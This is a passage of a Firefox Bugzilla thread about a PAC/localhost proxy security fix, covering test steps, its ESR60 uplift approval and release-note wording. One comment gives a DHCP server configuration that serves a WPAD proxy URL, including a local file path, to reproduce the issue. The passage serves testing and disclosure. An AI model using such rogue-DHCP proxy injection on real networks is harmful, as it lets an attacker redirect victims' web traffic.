The last time I was playing with this was to use Windows Server 2016 trial and allow DHCP there, in an isolated Virtual Box NAT'ed network.  The steps are here:
https://bugzilla.mozilla.org/show_bug.cgi?id=356831#c114

Comment 64

[Catalin Sasca, Desktop Test Engineering [:csasca]]

I am still not able to setup and config the DHCP server on the host side. Honza, can you please provide some STR on how to do it?

Comment 65

[Jann Horn]

I created a new bridge interface by first placing the following in /etc/network/interfaces:

```
iface br0 inet static
  address 192.168.250.1/24
```

and then running `ifup br0` (or something like that).

I created a VM with virt-manager, and set its networking as "Networking source: Specify shared device name" with device name "br0".

I installed the ISC dhcp server and added something like the following in /etc/dhcp/dhcpd.conf :

```
option domain-name-servers 8.8.8.8;
option wpad-url code 252 = text;
subnet 192.168.250.0 netmask 255.255.255.0 {
  range 192.168.250.2 192.168.250.200;
  option routers 192.168.250.1;
  option wpad-url "http://192.168.250.1:8080/proxy.pac";
  option wpad-url "file://c:/foobar/blah";
}
```

I stopped the systemd service isc-dhcp-server.service, changed /etc/default/isc-dhcp-server to make the DHCP server listen on the bridge interface in (`INTERFACESv4="br0"`), and then started the service again.

Comment 66

[Honza Bambas (:mayhemer)]

(In reply to Sasca Catalin, QA [:csasca] from comment #64)
> I am still not able to setup and config the DHCP server on the host side.
> Honza, can you please provide some STR on how to do it?

Comment 63?  I don't know about any other way, sorry.

Comment 67

[Catalin Sasca, Desktop Test Engineering [:csasca]]

Unfortunately, we're unable to simulate these environment conditions on our network, and therefore cannot verify the bug. If there's anyone else that would like to give this a try, it would be appreciated.

Comment 68

[Ryan VanderMeulen [:RyanVM]]

Junior, can you please rebase the 4th patch for ESR60 and request approval for these patches? Talking to the sec folks, it sounds like managed ESR environments are the ones most in need of these changes. Thanks!

Comment 69

[Junior [inactive]]

Attachment: patch3_for_esr60

Comment 70

[Junior [inactive]]

Attachment: patch4_for_esr60

Comment 71

[Junior [inactive]]

Comment on attachment 9046861 [details] [diff] [review]
patch4_for_esr60

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: See comment 68
• User impact if declined: Security issues with localhost access when using pac
• Fix Landed on Version: 66
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): See comment 53; This is a straightforward set of changes that effectively change when an existing pref applies, and had to update a number of tests purely because of the idiosyncratic nature of the testing setup of mochitests (which uses PAC to control network access, but some tests then also try to use 127.0.0.1 and expect it to be served by the PAC'd test server).
• String or UUID changes made by this patch: no

Comment 72

[Junior [inactive]]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #68)

Junior, can you please rebase the 4th patch for ESR60 and request approval for these patches? Talking to the sec folks, it sounds like managed ESR environments are the ones most in need of these changes. Thanks!

I did some manual rebase for patch 3 and patch 4, so I upload both.

Comment 73

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9046861 [details] [diff] [review]
patch4_for_esr60

Per discussion with Dan, this is a bug we should take on ESR since it's a publicly-disclosed issue more likely to affect enterprises. This fix shipped in Fx65 without any major fallout, so I agree with the risk assessment. Approved for 60.6esr.

Comment 74

[:Gijs (he/him)]

Junior, should we also take the patch from bug 1524264 on esr considering the confusion among enterprise users?

Comment 75

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-esr60/rev/2b5ce588bfca
https://hg.mozilla.org/releases/mozilla-esr60/rev/4318df2ee221
https://hg.mozilla.org/releases/mozilla-esr60/rev/bfb67f6a37d4
https://hg.mozilla.org/releases/mozilla-esr60/rev/02afe5b3919e

Comment 76

[Junior [inactive]]

(In reply to :Gijs (he/him) from comment #74)

Junior, should we also take the patch from bug 1524264 on esr considering the confusion among enterprise users?

Sounds like a plan

Comment 77

[:Gijs (he/him)]

(In reply to Junior [:junior] from comment #76)

(In reply to :Gijs (he/him) from comment #74)

Junior, should we also take the patch from bug 1524264 on esr considering the confusion among enterprise users?

Sounds like a plan

Mike, how do we normally communicate these types of (security-sensitive) changes to enterprise users? While the localhost change won't matter much, this patch changes things such that "no proxy for" values also apply when "use system proxy settings" is in use. See also bug 1524264 (which we're hoping to also uplift so the UI is a bit more clear about that happening). This could be surprising for enterprises which use autoconfig or policy to use system proxy settings but somehow also have exceptions (or didn't bother locking the exceptions but wouldn't expect users to be able to "bypass" the system proxy in this way).

Comment 78

[Mike Kaply [:mkaply]]

I would honestly just put it in release notes and maybe a note to the enterprise mailing list as to what changed (without saying why).

Comment 79

[Mark Straver]

(In reply to Mike Kaply [:mkaply] from comment #78)

I would honestly just put it in release notes and maybe a note to the
enterprise mailing list as to what changed (without saying why).

I have to agree with Mike -- enterprise IT will look at release notes first thing, and giving it exposure there will inform them of the change and what to expect. If there's a dedicated mailing list on top, exposing it there too will cover just about every serious enterprise use.

Comment 80

[Ryan VanderMeulen [:RyanVM]]

Gijs, can you please suggest some wording for this relnote item?

Comment 81

[:Gijs (he/him)]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #80)

Gijs, can you please suggest some wording for this relnote item?

Firefox now uses the "No proxies on" list regardless of how proxies are configured.

Comment 82

[Ryan VanderMeulen [:RyanVM]]

Added to the 60.6.0esr release notes: "In the network connections settings, sites added to the "No proxy for" list will honor that setting regardless of any other specified proxy settings"